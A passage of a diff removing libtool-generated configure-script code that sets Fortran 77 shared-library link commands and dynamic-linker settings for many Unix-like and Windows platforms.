- archive_cmds_F77='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_F77='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_F77='+b $libdir'
- hardcode_direct_F77=no
- hardcode_shlibpath_var_F77=no
- ;;
- *)
- hardcode_direct_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_F77='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld_F77='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- link_all_deplibs_F77=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds_F77='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- newsos6)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- hardcode_shlibpath_var_F77=no
- ;;
-
- openbsd*)
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_F77='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- ;;
- *)
- archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
- allow_undefined_flag_F77=unsupported
- archive_cmds_F77='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds_F77='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag_F77=' -expect_unresolved \*'
- archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag_F77=' -expect_unresolved \*'
- archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_F77='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec_F77='-rpath $libdir'
- fi
- hardcode_libdir_separator_F77=:
- ;;
-
- solaris*)
- no_undefined_flag_F77=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds_F77='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds_F77='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_shlibpath_var_F77=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec_F77='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec_F77='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs_F77=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds_F77='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_direct_F77=yes
- hardcode_minus_L_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds_F77='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds_F77='$CC -r -o $output$reload_objs'
- hardcode_direct_F77=no
- ;;
- motorola)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var_F77=no
- ;;
-
- sysv4.3*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_F77=no
- export_dynamic_flag_spec_F77='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_F77=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs_F77=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag_F77='${wl}-z,text'
- archive_cmds_need_lc_F77=no
- hardcode_shlibpath_var_F77=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag_F77='${wl}-z,text'
- allow_undefined_flag_F77='${wl}-z,nodefs'
- archive_cmds_need_lc_F77=no
- hardcode_shlibpath_var_F77=no
- hardcode_libdir_flag_spec_F77='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_F77=':'
- link_all_deplibs_F77=yes
- export_dynamic_flag_spec_F77='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_shlibpath_var_F77=no
- ;;
-
- *)
- ld_shlibs_F77=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_F77" >&5
-$as_echo "$ld_shlibs_F77" >&6; }
-test "$ld_shlibs_F77" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_F77" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_F77=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_F77 in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_F77
- pic_flag=$lt_prog_compiler_pic_F77
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_F77
- allow_undefined_flag_F77=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_F77=no
- else
- archive_cmds_need_lc_F77=yes
- fi
- allow_undefined_flag_F77=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_F77" >&5
-$as_echo "$archive_cmds_need_lc_F77" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
